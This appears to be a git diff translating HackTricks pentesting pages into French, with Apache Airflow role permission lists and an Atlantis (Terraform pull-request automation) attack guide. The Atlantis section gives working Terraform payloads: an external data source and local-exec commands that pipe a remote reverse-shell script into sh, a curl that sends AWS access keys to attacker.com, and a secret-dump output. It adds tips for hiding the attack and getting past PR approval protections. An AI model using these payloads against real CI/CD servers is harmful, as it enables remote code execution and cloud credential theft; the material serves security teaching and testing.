Task Instances, accès au menu sur Admin, accès au menu sur les Configurations, accès au menu sur les Connections, accès au menu sur les Pools, accès au menu sur les Variables, accès au menu sur les XComs, peut supprimer sur les XComs, peut lire sur les Replanifications des Tâches, accès au menu sur les Replanifications des Tâches, peut lire sur les Déclencheurs, accès au menu sur les Déclencheurs, peut lire sur les Mots de Passe, peut éditer sur les Mots de Passe, accès au menu sur Lister les Utilisateurs, accès au menu sur Sécurité, accès au menu sur Lister les Rôles, peut lire sur le Graphique des Statistiques des Utilisateurs, accès au menu sur les Statistiques des Utilisateurs, accès au menu sur les Permissions de Base, peut lire sur les Menus de Vue, accès au menu sur les Vues/Menus, peut lire sur les Vues de Permission, accès au menu sur la Permission sur les Vues/Menus, peut obtenir sur MenuApi, accès au menu sur les Providers, peut créer sur les XComs]
 
 - **Op**
 
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[peut supprimer sur les Connections, peut lire sur les Connections, peut éditer sur les Connections, peut créer sur les Connections, peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut supprimer sur les Pools, peut lire sur les Pools, peut éditer sur les Pools, peut créer sur les Pools, peut lire sur les Providers, peut supprimer sur les Variables, peut lire sur les Variables, peut éditer sur les Variables, peut créer sur les Variables, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Configurations, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances, accès au menu sur Admin, accès au menu sur les Configurations, accès au menu sur les Connections, accès au menu sur les Pools, accès au menu sur les Variables, accès au menu sur les XComs, peut supprimer sur les XComs]
 
 - **User**
 
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances]
 
 - **Viewer**
 
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[peut lire sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut lire sur les Audit Logs, peut lire sur ImportError, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances]
 
 - **Public**
 
 \[]
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..997d78434 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -4,109 +4,109 @@
 
 ### Basic Information
 
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis aide essentiellement à exécuter terraform à partir des Pull Requests de votre serveur git.
 
 ![](<../images/image (161).png>)
 
 ### Local Lab
 
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
-   1. You can access the web page in 127.0.0.1:4141
+1. Allez sur la **page des versions d'atlantis** à [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) et **téléchargez** celle qui vous convient.
+2. Créez un **jeton personnel** (avec accès au repo) de votre utilisateur **github**
+3. Exécutez `./atlantis testdrive` et cela créera un **repo de démon** que vous pouvez utiliser pour **communiquer avec atlantis**
+1. Vous pouvez accéder à la page web à 127.0.0.1:4141
 
 ### Atlantis Access
 
 #### Git Server Credentials
 
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis** prend en charge plusieurs hôtes git tels que **Github**, **Gitlab**, **Bitbucket** et **Azure DevOps**.\
+Cependant, pour accéder aux repos sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des permissions d'écriture).\
+[**La documentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels.
 
 > [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> Dans tous les cas, du point de vue d'un attaquant, le **compte Atlantis** sera très **intéressant** à **compromettre**.
 
 #### Webhooks
 
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantis utilise optionnellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**.
 
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une façon plus simple est d'utiliser un Webhook Secret.
 
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+Notez que, à moins que vous n'utilisiez un serveur github ou bitbucket privé, vous devrez exposer les points de terminaison webhook à Internet.
 
 > [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantis va **exposer des webhooks** afin que le serveur git puisse lui envoyer des informations. Du point de vue d'un attaquant, il serait intéressant de savoir **si vous pouvez lui envoyer des messages**.
 
 #### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
 
-[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[De la documentation :](https://www.runatlantis.io/docs/provider-credentials.html)
 
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin de credentials pour votre fournisseur spécifique.
 
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+C'est à vous de [fournir des credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis :
 
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
-  - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
-  - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les credentials du fournisseur. Lisez leur documentation.
+- Si vous exécutez Atlantis dans le cloud, alors de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, ex :
+- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role")
+- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- De nombreux utilisateurs définissent des variables d'environnement, ex. `AWS_ACCESS_KEY`, où Atlantis est exécuté.
+- D'autres créent les fichiers de configuration nécessaires, ex. `~/.aws/credentials`, où Atlantis est exécuté.
+- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des credentials de fournisseur.
 
 > [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **credentials privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform.
 
 #### Web Page
 
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des repos et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile).
 
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucune credential n'est nécessaire** pour y accéder (et si elles le sont, `atlantis`:`atlantis` sont les **valeurs par défaut**).
 
 ### Server Configuration
 
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+La configuration pour `atlantis server` peut être spécifiée via des flags de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois.
 
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Vous pouvez trouver [**ici la liste des flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) pris en charge par le serveur Atlantis
+- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
 
-Values are **chosen in this order**:
+Les valeurs sont **choisies dans cet ordre** :
 
 1. Flags
-2. Environment Variables
-3. Config File
+2. Variables d'environnement
+3. Fichier de configuration
 
 > [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **tokens et mots de passe**.
 
 #### Repos Configuration
 
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+Certaines configurations affectent **comment les repos sont gérés**. Cependant, il est possible que **chaque repo nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque repo. Voici l'ordre de priorité :
 
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
-   1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
+1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le repo. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certains flags permettant cela.
+1. Probablement requis d'être autorisé par des flags comme `allowed_overrides` ou `allow_custom_workflows`
+2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec le flag `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque repo (regex pris en charge)
+3. Valeurs **par défaut**
 
 **PR Protections**
 
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantis permet d'indiquer si vous souhaitez que le **PR** soit **`approuvé`** par quelqu'un d'autre (même si cela n'est pas défini dans la protection de branche) et/ou soit **`fusionnable`** (protections de branche passées) **avant d'exécuter apply**. D'un point de vue sécurité, il est recommandé de définir les deux options.
 
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+Dans le cas où `allowed_overrides` est True, ces paramètres peuvent être **écrasés sur chaque projet par le fichier `/atlantis.yml`**.
 
 **Scripts**
 
-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+La configuration du repo peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.**
 
-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+Il n'y a aucune option pour permettre de **spécifier** ces scripts dans le **fichier repo `/atlantis.yml`**.
 
 **Workflow**
 
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+Dans la configuration du repo (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **repos** peuvent **accéder** aux **nouveaux** générés.\
+Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque repo de **spécifier le workflow à utiliser.**
 
 > [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Si le flag [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le **fichier `atlantis.yaml`** de chaque repo. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\
+> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur qui peut accéder à ce repo**.
 >
 > ```yaml
 > # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
 
 **Conftest Policy Checking**
 
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantis prend en charge l'exécution de **politiques** [**conftest**](https://www.conftest.dev/) **côté serveur** contre la sortie du plan. Les cas d'utilisation courants pour cette étape incluent :
 
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- Interdire l'utilisation d'une liste de modules
+- Affirmer les attributs d'une ressource au moment de sa création
+- Détecter les suppressions de ressources non intentionnelles
+- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public)
 
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Vous pouvez vérifier comment le configurer dans [**la documentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
 
 ### Atlantis Commands
 
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
-
+[**Dans la documentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :
 ```bash
 # Get help
 atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
 ## --verbose
 ## You can also add extra terraform options
 ```
-
-### Attacks
+### Attaques
 
 > [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> Si pendant l'exploitation vous trouvez cette **erreur** : `Error: Error acquiring the state lock`
 
+Vous pouvez le corriger en exécutant :
 ```
 atlantis unlock #You might need to run this in a different PR
 atlantis plan -- -lock=false
 ```
+#### Atlantis plan RCE - Modification de configuration dans une nouvelle PR
 
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis plan`** (ou peut-être est-ce exécuté automatiquement) **vous pourrez RCE à l'intérieur du serveur Atlantis**.
 
+Vous pouvez le faire en faisant [**charger une source de données externe par Atlantis**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Il suffit de mettre un payload comme le suivant dans le fichier `main.tf` :
 ```json
 data "external" "example" {
-  program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
 }
 ```
+**Attaque plus discrète**
 
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Vous pouvez effectuer cette attaque même de manière **plus discrète**, en suivant ces suggestions :
 
+- Au lieu d'ajouter le rev shell directement dans le fichier terraform, vous pouvez **charger une ressource externe** qui contient le rev shell :
 ```javascript
 module "not_rev_shell" {
-  source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
+Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
+- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Au lieu** de créer une **PR vers master** pour déclencher Atlantis, **créez 2 branches** (test1 et test2) et créez une **PR de l'une à l'autre**. Lorsque vous avez terminé l'attaque, il vous suffit de **supprimer la PR et les branches**.
 
 #### Atlantis plan Secrets Dump
 
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
-
+Vous pouvez **dumper les secrets utilisés par terraform** en exécutant `atlantis plan` (`terraform plan`) en mettant quelque chose comme ceci dans le fichier terraform :
 ```json
 output "dotoken" {
-  value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
 }
 ```
+#### Atlantis apply RCE - Modification de configuration dans une nouvelle PR
 
-#### Atlantis apply RCE - Config modification in new PR
+Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis apply`, vous pourrez RCE à l'intérieur du serveur Atlantis**.
 
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+Cependant, vous devrez généralement contourner certaines protections :
 
-However, you will usually need to bypass some protections:
-
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
-  - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
-  - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est fusionnable** (ce qui signifie que la protection de branche doit être contournée).
+- Vérifiez les [**contournements potentiels des protections de branche**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Approuvé** : Si cette protection est définie dans Atlantis, un **autre utilisateur doit approuver la PR** avant que vous puissiez exécuter `atlantis apply`
+- Par défaut, vous pouvez abuser du [**token Gitbot pour contourner cette protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
 
+Exécution de **`terraform apply` sur un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Vous devez simplement vous assurer qu'une charge utile comme les suivantes se termine dans le fichier `main.tf` :
 ```json
 // Payload 1 to just steal a secret
 resource "null_resource" "secret_stealer" {
-  provisioner "local-exec" {
-    command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
-  }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
 }
 
 // Payload 2 to get a rev shell
 resource "null_resource" "rev_shell" {
-  provisioner "local-exec" {
-    command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
-  }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
 }
 ```
+Suivez les **suggestions de la technique précédente** pour effectuer cette attaque de manière **plus discrète**.
 
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
-
-#### Terraform Param Injection
-
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
+#### Injection de Paramètres Terraform
 
+Lors de l'exécution de `atlantis plan` ou `atlantis apply`, terraform est exécuté en arrière-plan, vous pouvez passer des commandes à terraform depuis atlantis en commentant quelque chose comme :
 ```bash
 atlantis plan -- <terraform commands>
 atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
 atlantis apply -- <terraform commands>
 atlantis apply -- -h #Get terraform apply help
 ```
+Quelque chose que vous pouvez passer sont des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
 
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### Workflow personnalisé
 
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+Exécution de **commandes de construction personnalisées malveillantes** spécifiées dans un fichier `atlantis.yaml`. Atlantis utilise le fichier `atlantis.yaml` de la branche de la demande de tirage, **pas** de `master`.\
+Cette possibilité a été mentionnée dans une section précédente :
 
 > [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **remplacer le workflow** qui va être utilisé.
 >
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur qui peut accéder à ce dépôt**.
 >
 > ```yaml
 > # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
 >         - run: my custom apply command
 > ```
 
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### Contourner les protections plan/apply
 
+Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _a_ `apply_requirements` configuré, il est possible pour un dépôt de **modifier les protections plan/apply pour les contourner**.
 ```yaml
 repos:
-  - id: /.*/
